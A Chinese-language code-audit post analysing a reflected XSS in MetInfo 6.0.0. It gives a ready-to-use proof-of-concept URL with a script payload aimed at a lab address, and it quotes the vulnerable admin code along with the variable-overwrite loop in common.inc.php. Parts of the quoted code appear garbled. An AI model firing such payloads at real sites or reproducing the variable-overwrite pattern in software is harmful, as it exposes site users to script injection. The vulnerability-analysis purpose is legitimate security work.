学习使我快乐 没啥事干,还是好好学习吧 最近代码审计的比较多一点,简单给自己找点事干而已 metinfo6.0.0的漏洞分析了一堆,其实主要还是和它的传递参数的方式有关系,可以直接变量覆盖 没有经过特殊的过滤 以后的代码审计 还是先放一些POC 不需要分析漏洞细节的人可以直接拿去使用就好
http://192.168.1.7/minfo/admin/column/move.php?foldyanzheng=1&foldername=search&lang_columnerr4=%3Cscript%3Ealert(1)%3C/script%3E&metcms=1
漏洞主要代码存在于
/admin/column/move.php
require_once '../login/login_check.php';
require_once 'global.func.php';
if($foldyanzheng){
$metcms='';
$folder_m=$db->get_one("SELECT * FROM $met_column WHERE foldername='$foldername' and lang='$lang'");
if($folder_m)$metcms=$lang_columnerr4;
if(!preg_match('/^[a-z0-9_-]+$/i',metdetrim($foldername)))$metcms=$lang_columnerr1;
echo $metcms;
die;
}
由图中可以看出我们只需要$folderyanzheng> 0
并且 $folder_m不是null
,我们可以$lang_columnerr4
直接显示在dom中
如果想要folder_m
非空,可以让随便查询一个数据库,如图所示
查询数据库信息:
在/include/common.inc.php
存在一个可以由我们控制的变量的代码。
这里存在变量覆盖
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{} != '_' && $$_key = daddslashes($_value,,,);
$_M['form'][$_key]=daddslashes($_value,,,);
}
}
可以构造出如上payload